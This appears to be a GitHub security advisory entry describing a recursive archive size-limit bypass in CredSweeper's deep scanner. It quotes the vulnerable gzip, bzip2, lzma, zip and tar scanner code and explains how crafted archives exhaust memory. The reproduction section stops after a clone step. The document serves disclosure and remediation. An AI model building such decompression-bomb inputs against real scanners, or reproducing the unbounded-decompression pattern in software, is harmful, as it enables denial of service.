  "summary" : "CredSweeper: Recursive archive size-limit bypass in deep scanner allows crafted compressed inputs to exhaust resources",
  "details" : "### Summary\nCredSweeper's deep scanner does not enforce `recursive_limit_size` as a hard limit. Several recursive scanners fully decompress or fully read attacker-controlled content before the remaining budget is validated, and `AbstractScanner.recursive_scan()` continues processing even when the residual budget is already negative.\n\nThis allows a crafted archive to bypass the intended recursive zip-bomb protection and force excessive memory / CPU consumption when deep scanning is enabled (`--depth > 0`). I confirmed this on upstream commit `8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6` / package version `1.15.8`.\n\nThe issue has two closely related exploitation paths that share the same root cause:\n\n1. Single-stream decompressor bypass:\n   `gzip`, `bzip2`, and `lzma/xz` inputs are fully decompressed first, then the remaining budget is computed, and the recursive scan proceeds even if the result is negative.\n\n2. Multi-entry archive cumulative-budget bypass:\n   `zip` and `tar` entries are checked only against the original per-entry budget, not against a mutable cumulative remaining budget shared across sibling entries. Multiple individually small entries can therefore exceed the configured recursive limit in aggregate.\n\nThe impact is availability/resource exhaustion. I did not confirm arbitrary code execution, arbitrary file write, or data exfiltration from this issue.\n\n### Details\nThe vulnerability is in the recursive deep-scanning path that is used when CredSweeper scans container-like inputs recursively.\n\nThe relevant call chain is:\n\n- `credsweeper/app.py:323`\n  `self.deep_scanner.scan(content_provider, self.config.depth, self.config.size_limit)`\n- `credsweeper/deep_scanner/abstract_scanner.py:269-305`\n  The initial deep-scan entry point passes a recursive size budget into nested scanners.\n- `credsweeper/deep_scanner/abstract_scanner.py:58-94`\n  `recursive_scan()` stops only on:\n  - negative depth\n  - data shorter than `MIN_DATA_LEN`\n  It does **not** stop when `recursive_limit_size` is negative.\n\nExact source-level issue:\n\n1. Negative budgets are still accepted\n\n`credsweeper/deep_scanner/abstract_scanner.py:71-91`\n\n```python\nif 0 > depth:\n    return candidates\ndepth -= 1\nif MIN_DATA_LEN > len(data_provider.data):\n    return candidates\n...\nnew_candidates = self.deep_scan_with_fallback(data_provider, depth, recursive_limit_size)\n```\n\nThere is no guard such as `if recursive_limit_size < 0: return`.\n\n2. Full decompression happens before any hard budget enforcement\n\n`credsweeper/deep_scanner/gzip_scanner.py:33-43`\n\n```python\nwith gzip.open(io.BytesIO(data_provider.data)) as f:\n    gzip_content_provider = DataContentProvider(data=f.read(), ...)\n    new_limit = recursive_limit_size - len(gzip_content_provider.data)\n    gzip_candidates = self.recursive_scan(gzip_content_provider, depth, new_limit)\n```\n\n`credsweeper/deep_scanner/bzip2_scanner.py:38-43`\n\n```python\nbzip2_content_provider = DataContentProvider(data=bz2.decompress(data_provider.data), ...)\nnew_limit = recursive_limit_size - len(bzip2_content_provider.data)\nbzip2_candidates = self.recursive_scan(bzip2_content_provider, depth, new_limit)\n```\n\n`credsweeper/deep_scanner/lzma_scanner.py:38-43`\n\n```python\nlzma_content_provider = DataContentProvider(data=lzma.decompress(data_provider.data), ...)\nnew_limit = recursive_limit_size - len(lzma_content_provider.data)\nlzma_candidates = self.recursive_scan(lzma_content_provider, depth, new_limit)\n```\n\nThe decompressed payload is materialized in memory first. Only afterwards is the residual budget calculated, and because `recursive_scan()` accepts negative budgets, the oversize content is still scanned.\n\n3. Multi-entry archives use per-entry checks instead of a shared cumulative budget\n\n`credsweeper/deep_scanner/zip_scanner.py:49-60`\n\n```python\nif 0 > recursive_limit_size - zfl.file_size:\n    continue\nwith zf.open(zfl) as f:\n    zip_content_provider = DataContentProvider(data=f.read(), ...)\n    new_limit = recursive_limit_size - len(zip_content_provider.data)\n    zip_candidates = self.recursive_scan(zip_content_provider, depth, new_limit)\n```\n\n`credsweeper/deep_scanner/tar_scanner.py:48-59`\n\n```python\nif 0 > recursive_limit_size - tfi.size:\n    continue\nwith tf.extractfile(tfi) as f:\n    tar_content_provider = DataContentProvider(data=f.read(), ...)\n    new_limit = recursive_limit_size - len(tar_content_provider.data)\n    tar_candidates = self.recursive_scan(tar_content_provider, depth, new_limit)\n```\n\nThese checks use the same original `recursive_limit_size` for every sibling entry. The budget is not decremented globally after the first extracted member. Therefore a `zip` or `tar` with many individually small files can exceed the intended aggregate extraction limit.\n\n4. Same code pattern is also present in RPM scanning\n\n`credsweeper/deep_scanner/rpm_scanner.py:42-51`\n\nThe RPM scanner uses the same per-member pattern as ZIP/TAR. I did not include an RPM runtime PoC below only because it requires an extra third-party parser dependency, but the source-level pattern is the same.\n\nVersion scope:\n\n- The vulnerable recursive scanning logic was introduced by commit `0bd8fe56ad2e08b12d47677f7dbe1a75913969ae`.\n- The last release before that commit is `v1.4.8`.\n- The first release containing that commit is `v1.4.9`.\n- Current upstream HEAD and package version `1.15.8` are still affected.\n\n### PoC\nI reproduced the issue on:\n\n- Repository: `https://github.com/Samsung/CredSweeper`\n- Commit: `8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6`\n- Version: `1.15.8`\n\nI used a dependency-light harness that imports the exact vulnerable source files by path and stubs unrelated modules only to isolate the deep-scanner logic. The proof uses only Python's standard library.\n\nReproduction steps:\n\n1. Clone the repository:\n\n```bash\ngit clone https://github.com/Samsung/CredSweeper.git\ncd CredSweeper\ngit checkout 8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6\n```\n\n2.

The impact I confirmed is denial of service / resource exhaustion.\n\n### Mitigation\nI recommend fixing this in three layers:\n\n1. Add a hard negative-budget guard in `recursive_scan()` and `structure_scan()`\n\nBefore any recursive dispatch, abort when `recursive_limit_size < 0`.\n\n2. Enforce limits before or during decompression, not after full materialization\n\n- `gzip`, `bzip2`, `lzma/xz` should use bounded incremental decompression / bounded reads.\n- If the decompressed size exceeds the remaining budget, stop immediately before constructing the full payload in memory.\n\n3. Track a mutable cumulative budget across sibling archive members\n\n- `zip`, `tar`, and `rpm` should share a remaining-budget counter across entries.\n- After one child is accepted, decrement the shared remaining budget before processing the next sibling.\n\nRecommended regression tests:\n\n- A gzip payload whose decompressed size exceeds the recursive limit must be rejected before recursion and without a negative residual budget being processed.\n- Equivalent tests for bzip2 and lzma/xz.\n- A zip/tar archive with two members that are each under the per-entry threshold but exceed the total threshold together must stop after the budget is exhausted.\n- A direct unit test for `recursive_scan()` showing that negative `recursive_limit_size` stops recursion immediately.",
